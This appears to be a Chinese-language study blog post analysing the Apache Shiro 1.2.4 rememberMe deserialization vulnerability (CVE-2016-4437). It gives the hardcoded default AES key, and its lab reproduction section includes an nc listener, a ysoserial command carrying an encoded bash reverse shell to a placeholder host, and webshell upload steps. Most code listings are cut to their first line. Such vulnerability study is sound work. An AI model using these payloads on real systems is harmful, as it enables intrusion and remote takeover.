Shiro反序列化漏洞分析
一、前言
⚠️ 该文章只作学习记录,其文章深度并不能作为学习研究所用,文章漏洞代码分析部分或有乱序,请不要将该文章作为正确的漏洞分析文章,可直接转至参考文章学习漏洞原理。
二、Java 序列化与反序列化
Java 序列化
是指把 Java 对象
转换为字节序列
的过程便于保存在内存、文件、数据库中,ObjectOutputStream
类的 writeObject()
方法可以实现序列化。
Java反序列化
是指把字节序列
恢复为 Java 对象
的过程,ObjectInputStream
类的 readObject()
方法用于反序列化。
1 | public class test{ |
序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
1 | 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; |
三、漏洞环境搭建
1、Shiro源码下载,并导入 IDEA
1 | https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 |
2、配置 tomcat 环境
配置 tomcat 前先配置文件输出路径,不然后续配置 tomcat 会因为没有定义输出路径而报错
配置 tomcat
指定漏洞 shiro 反序列漏洞 war 包
点击右上角运行符号
配置本地IP 方便 burp抓包
配置 JDK
四、漏洞分析
1、漏洞原理
Shiro≤1.2.4 版本默认使用 CookieRememberMeManager,持久化地将信息序列化后加密后保存在 Cookie 的 rememberMe 字段中,当系统下次读取时先进行解密再反序列化从而获取信息。由于该版本内置了一个默认且固定的由 AES 加密 的硬编码 Key 值 ,因此攻击者可通过使用默认的 Key 对恶意构造的序列化数据进行加密,当 CookieRememberMeManager 对恶意的 rememberMe 进行处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
用户获取请求,系统主要处理过程:获取 Cookie 中 rememberMe 的值 -》 对 rememberMe 进行 Base64 解码 -》使用 AES 进行解密 -》对解密的值进行反序列化
2、代码分析
加密分析
shiro-shiro-root-1.2.4/core/src/main/java/org/apache/shiro/mgtorg/apache/shiro/mgt/DefaultSecurityManager.java
代码中可知,由 rememberMeSuccessfulLogin 方法,定义是否登录成功,创建对象 rmm
跟进对象的 rmm 的 onSuccessfulLogin 方法,通过全局搜索定位到 onSuccessfulLogin 实现代码位于 AbstractRememberMeManager.java
1 | public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { |
利用 forgetIdentity 方法对 subject 进行处理
继续跟进 forgetIdentity 方法,查看其具体实现代码,定位到实现代码位置为 CookieRememberMeManager.java
代码如下:
1 | protected void forgetIdentity(Subject subject) { |
通过 getCokie() 获取用户请求的 Cookie ,再执行 removeFrom 方法
继续跟进 removeFrom, 定位具体执行代码位置为 SimpleCookie.java
removeFrom 方法定义了一些方法体,并将值返回与 response 头部添加 Set-Cookie:rememberMe=deleteMe
回到 onSuccessfulLogin 方法中,若设置了 rememberMe 则进入 rememberIdentity
跟进 rememberIdentity 方法,Ctrl + 鼠标左键,代码位置 AbstractRememberMeManager.java ,具体代码如下:
1 | public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) { |
由上代码可知,rememberIdentity 使用了 convertPrincipalsToBytes 对 accountPrincipals(用户名)进行了处理
进入 convertPrincipalsToBytes 后,使用 serialize 对 principals(用户名)进行处理,如果不为空则进行 encrypt 加密处理
跟进 serialize 方法,查看去具体实现代码
对 principals(用户名)利用 writeObject 方法进行序列化(该方法文章开头有说明)
现在知道了 AbstractRememberMeManager.java 中 convertPrincipalsToBytes 对用户名进行了序列化,同位置下,再查看其 bytes 加密方式,如果 getCipherService() 不为空则对 bytes进行加密
跟进 getCipherService()
查看 cipherService 调用情况,全局搜索 this.cipherService
返回 convertPrincipalsToBytes 方法中跟进 bytes 中 encrypt 加密,Ctrl + 鼠标左键 进入,这里通过 cipherService.encrypt 传入序列化数据和 getEncryptionCipherKey()
跟进 getEncryptionCipherKey(),Ctrl + 鼠标左键,返回一个加密 Key
查看调用,全局搜索 this.encryptionCipherKry
这一步查看 cipherService 调用的时候,发现 setCipherKey 方法在构造方法里面被调用了。
查看 DEFAULT_CIPHER_KEY_BYTES , CTRL+鼠标左键进入,默认 Key 值为 kPH+bIxk5D2deZiIxcaaaA==
回到AbstractRememberMeManager.java的rememberIdentity方法中,在convertPrincipalsToBytes对用户名进行序列化后,进入到 rememberSerializedIdentity 方法对 subject、byte 进行处理
跟进 rememberSerializedIdentity ,具体实现代码位于 CookieRememberMeManager.java
对 Cookie 进行了 base64 加密处理,保存在 Cookie 中
至止,加密结束。
解密分析
通过搜索分析解密,回溯上一层,直接选中 decrypt 鼠标右键 File Usages,定位代码,回溯上一层代码,代码为右下方
继续回溯 convertBytesToPrincipals
全局搜索定位 getRememberedSerializedIdentity 方法具体代码
解密后继续调用 convertBytesToPricipals 方法
继续跟进 convertBytesToPricipals 方法,CTRL + 鼠标左键进入
继续跟进 decrypt ,解密后得到的结果为序列化字符串的bytes,然后进入 deserialize
得到序列化数值后在进行反序列化操作
五、漏洞复现
1、确认是否使用 Shiro 框架
正常访问时
当我们在 Cookie 处添加 remember=111 时,返回包出现 remember=deleteMe 则证明网站使用 Shiro 框架
2、漏洞探测
burp 插件探测,发现 key 即处在 key 泄露,可构造攻击
3、漏洞利用
图形化利用工具,监测密钥
爆破利用链
命令执行
上传 webshell 自定义路径为当前网站根目录,获取 webshell
4、Linux 反弹shell
环境如下:
环境 | 描述 |
---|---|
靶机 IP | 192.168.114.140 |
攻击机 IP | 192.168.114.139 |
反弹shell vps | xxx.xxx.xxx.xxx |
漏洞环境 | vulhub shiro/CVE-2016-4437 |
生成shiro 反序列化攻击 payload | expShiro.py |
辅助工具 | ysoserial-all.jar |
下载 vulhub ,进行 shiro 目录利用 docker 拉取 shiro 漏洞环境镜像
访问 8080 端口
服务器启监听,等待接收shell
1 | nc -lvp 2333 |
启用 ysoserial-all.jar 工具中的 JRMP 监听模块,监听 1999 端口并执行反弹 shell 命令
1 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}' |
expShiro.py 生成 payload,脚本如下:
1 | import sys |
命令:python3 expShiro.py x.x.x.x:1999
将生成的 rememberMe 数据于 burp 放包执行获取反弹 shell
六、小结
本文只作学习记录,文章中出现的环境及工具可在 Github 仓库 Download。
七、参考文章
1 | https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/` |